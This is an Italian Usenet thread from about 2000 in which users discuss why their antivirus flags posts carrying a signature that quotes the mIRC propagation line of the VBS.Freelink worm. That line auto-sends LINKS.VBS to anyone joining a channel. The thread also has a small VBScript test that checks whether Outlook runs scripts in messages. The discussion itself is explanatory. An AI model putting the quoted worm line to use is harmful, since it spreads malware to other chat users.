Newsgroup: it.comp.sicurezza.windows
Titolo: Per Leonardo Serni

Perchč tentando di leggere il tuo post "vediamo se ho capito" 6/9/00 mi
scatta l'allarme antivirus per l file
C:\WINDOWS\Impostazioni locali\Temporary Internet
Files\Content.IE5\OPQRSTUV\Re_ Vediamo se ho capito.txt
č infettato dal virus VBS.Freelink.
Impossibile riparare questo file.
E' andato in quarantena, dove verra eliminato
 Poche ore fa leggendo con il portatile it.comp.sicurezza.virus un mess di
Delymyth e le risposte che seguivano č avvenuta la stessa cosa.
E' un epidemia ?
:-)     :-(

 Files\Content.IE5\OPQRSTUV\Re_ Vediamo se ho capito.txt
la risposta c'era nel medesimo post:
"se avete un antivirus che storce il naso, si sbaglia :-)"
L'antivirus riconosce la stringa del links.vbs, ma senza capire che in
quel contesto è innocua (in quanto non è in uno script per mIRC, ma è
riportata in un innocuo post Usenet). McAfee non batte ciglio,
infatti.
Bye Krmel

 Bye Krmel
No invece io non ho capito, e tentando di rileggere l'ultimo post (7/9 ore
15.58 ho avuto lo
 stesso problema.
Puoi essere gentile da farmelo capire tu senza far scattare l'antivirus?
Grazie

 Grazie
Bye Krmel


No, gli antivirus sono fessi...;-D

E' un epidemia ?
Si'... di antivirus scaci.
Leonardo
<!-->Se leggete questo in un browser, questi non rispetta la sintassi dei commenti.-->
[script]
n0=on 1:join:#:if $me != $nick dcc send $nick C:\WINDOWS\LINKS.VBS
# $141FLu: se avete un antivirus che storce il naso, si sbaglia :-)

Si'... di antivirus scaci.
Pero' da avp non me l'aspettavo :-\
-- 
Don't Let Your Fears Stand In The Way Of Your Dreams
DEly...@dely-net.com
http://www.dely-net.com/
ICQ# - 8761263

Si'... di antivirus scaci.
Scusi, maestro, ma stavolta dissento. (Chi si lasciasse tentare da una
battuta su di una mia presunta dissenteria in questi giorni, vince una
nomination gratis nel kill file di thorin)
AVP lo dichiara sospetto, e secondo me ha ragione (si', lo sanno anche
ai Kaspersky Lab, che sono paranoico ;-) ).
AVP non deve fidarsi del mezzo o del nome del file entro cui arriva il
codice sospetto, ti mando un txt e poi te lo rinomino come mi pare, lo
infilo in un eseguibile che oltre che editarti i tuoi .c, per scrupolo
ti scrive anche lo script da qualche parte, etc.etc.
E sono comunque soddisfatto che il mio settaggio paranoico del monitor
di AVP monitor si inca%%i come una biscia tutte le volte che posti con
questa sign, preferisco cosi' piuttosto che manchi ai suoi compiti nel
momento di una infezione vera.
-- 
           |Save our planet!
  Ciao     |Save wildlife;
  roberto  |For your E-MAIL use only recycled Bytes !!
           |roberto poggi  
rpo...@softhome.net

 Si'... di antivirus scaci.
Allora AVP fa parte della categoria ;-)
Bye Krmel che per la cronaca McAfee non fa una piega
<HTML>
<SCRIPT LANGUAGE="VBScript">
url="
http://www.altavista.it
"
window.open(url)
</SCRIPT>
</HTML>
Se vi si è aperta una pagina su Altavista leggendo questo articolo
il vostro Outlook è aperto come una voragine

 il vostro Outlook è aperto come una voragine
...non dovrebbe essere inserito in un post HTML, per funzionare ?
O c'è qualche versione - opzione - bug - ficiur di OE che lo fa anche
in un post normale, intendo con "Content-Type: text/plain" ?
Bye, Gaetano.

pestato la coda, ogni volta che clicco su un mex di Leonardo.
Il mio Avp invece non fa una piega! (3.0 build131)
Lapalissiano
Icq 57269703

 VShield 4.03, engine 4.0.70, dat 4093. Lo chiama IRC/Freelink.
è vero... però solo se imposto la scansione su "All files".
--
  Luca "LZP" Zanardo
  e-mail corretta: 
l...@libero.it
AuthenticAMD.

 è vero... però solo se imposto la scansione su "All files".
A me lo fa anche con "solo eseguibili", ma solo se è attivo il
"download scan" di Vshield.
Bye, G.

Bye Krmel che per la cronaca McAfee non fa una piega
grrrr... non toccarmi AVP.
A prescindere dal numero di virus che acchiappano, sia McAfee che, soprattutto
il Norton sono dei mattoni ingestibili che, spesso danno dei problemi, anche
seri di stabilita' e funzionamento.
In ditta sono, finalmente riuscito ad accedere ad internet per scaricare gli
aggiornamenti di AVP e posso eliminare gli ultimi mcafee nei pochi computer dove
ancora sopravvivevano (gli unici dove non avessero dato problemi).
Un antivirus carino, leggero ed efficiente, che, pero' non e' assolutamente
aggiornato e' il pc-cillin 98.
L' ho visto girare, su 486 come una scheggia !

 nomination gratis nel kill file di thorin)
.. ammazza, come sono diventato famoso :-)
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

il vostro Outlook č aperto come una voragine
Strano: a me l'autlooch "originale" di W98 non ha neppure mosso un dito.
Visto che ricordo nettamente un messaggio di uno spammer in Usenet che
invece me l'ha risvegliato, chiedendomi di eseguirlo (si, certo, come
no, vuoi anche un caffe'?), mi chiedo se la sintassi e' "solo" per l'OE
piu' recente, o se magari quello che ricordo vagamente addirittura in
it.news.net-abuse era qualcosa di piu' insidioso, tipo activeX.
Per la serie: non si smette mai di imparare.
Fabrizio

 it.news.net-abuse era qualcosa di piu' insidioso, tipo activeX.
Funzia se lo inserisci in un file html e usi questo come sfondo di un messaggio.
In questo modo funziano anche le altre cosette, tipo quella della pagina di Md'I.
E non c'č bisogno di VBScript, basta il JavaScript, che piů o meno tutti lasciano
attivato. :-((
Bye, G.

°¨¨°            LEONARDOOOOOOOOOOOOOO!!!
  0              «»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»
        -¦-  ®martin.luther.blissett mentre vocia  -¦-
_________________________________________
Per ottenere il vero indirizzo bisogna liberare l'ossesso
                        dallo spirito dei maligni.
--
Posted from 
c000-h010.c000.muc.cp.net
 [209.228.29.34] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG